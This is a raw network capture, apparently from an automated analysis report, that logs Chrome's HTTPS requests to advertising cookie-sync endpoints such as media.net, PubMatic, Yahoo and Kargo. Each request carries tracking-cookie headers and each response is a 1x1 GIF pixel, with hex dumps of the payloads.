2024-01-10 23:27:29 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.4	50517	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1175	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=r1&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: contextual.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:29 UTC	652	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8;Expires=Wed, 08 Jan 2025 23:27:29 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.4	50519	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3773	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTQ2MSZ0bD0xMDA4MA==&piggybackCookie=AAAGXafxLeElYgMctaPHAAAAAAA&expiration=1705015644&nuid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&is_secure=true&gdpr_consent=&gdpr=0 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	708	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_32=11175-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22713-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&22715-AAAGXafxLeElYgMctaPHAAAAAAA&KRTB&23519-AAAGXafxLeElYgMctaPHAAAAAAA; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.4	50523	8.28.7.83	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3716	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	676	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.4	50520	23.55.243.208	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	1295	OUT	GET /cksync?cs=63&axid_e=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&dpid=58280 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:29 UTC	680	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63;Expires=Mon, 08 Jul 2024 23:27:29 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:29 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:29 GMT Connection: close
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:29 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.4	50518	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	3686	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NzUmdGw9NDMyMDA=&gdpr=0&gdpr_consent=&piggybackCookie=7455955347164126958 HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; KRTBCOOKIE_699=22727-AABsm07LPlAAABMLLoldYg; KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; KRTBCOOKIE_1251=23269-di_1673c61b98ba4fbcabc0c; KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; KRTBCOOKIE_188=3189-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&KRTB&23418-ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553; KRTBCOOKIE_1278=23329-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23340-40f09b66-e671-4da3-b991-c14247c4cce6&KRTB&23498-40f09b66-e671-4da3-b991-c14247c4cce6; KRTBCOOKIE_1323=23480-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23485-OPU94c5f6bfc10e4266866ca02b6e163de0&KRTB&23524-OPU94c5f6bfc10e4266866ca02b6e163de0; KRTBCOOKIE_32=11175-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22713-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&22715-AAAHeHO4ZcfjXANgwiqRAAAAAAA&KRTB&23519-AAAHeHO4ZcfjXANgwiqRAAAAAAA; KRTBCOOKIE_52=22772-R33645_10F17D40A_8AEC9589&KRTB&23092-R33645_10F17D40A_8AEC9589; chkChromeAb67Sec=4; pi=159463:4; DPSync3=1705449600%3A253_252_265%7C1704931200%3A248_255%7C1705881600%3A257%7C1706054400%3A260_201_261_262_256_245_263_258_236_259; SyncRTB3=1706054400%3A56_233_13_250_71_166_178_8_234_220_176_81_3_21_96_264_99_240_55_48_54_243_104_5_46_238_231_249_165_7_214_22%7C1705708800%3A63%7C1706140800%3A35%7C1705449600%3A223_2_15_38%7C1707436800%3A224%7C1710028800%3A69; SPugT=1704929248; KRTBCOOKIE_594=17105-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005&KRTB&17107-RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005; PugT=1704929248
2024-01-10 23:27:29 UTC	646	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:28 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_391=22924-7455955347164126958&KRTB&23263-7455955347164126958&KRTB&23481-7455955347164126958; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ Set-Cookie: PugT=1704929248; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:28 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:29 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.4	50524	3.229.81.23	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:29 UTC	471	OUT	GET /api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: crb.kargo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2
2024-01-10 23:27:29 UTC	456	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:29 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-cache, no-store, must-revalidate, private, max-age=0 Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Set-Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2; Path=/; Domain=kargo.com; Expires=Thu, 09 Jan 2025 23:27:29 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None Vary: Origin X-Accel-Expires: 0
2024-01-10 23:27:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.4	50529	34.111.113.62	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
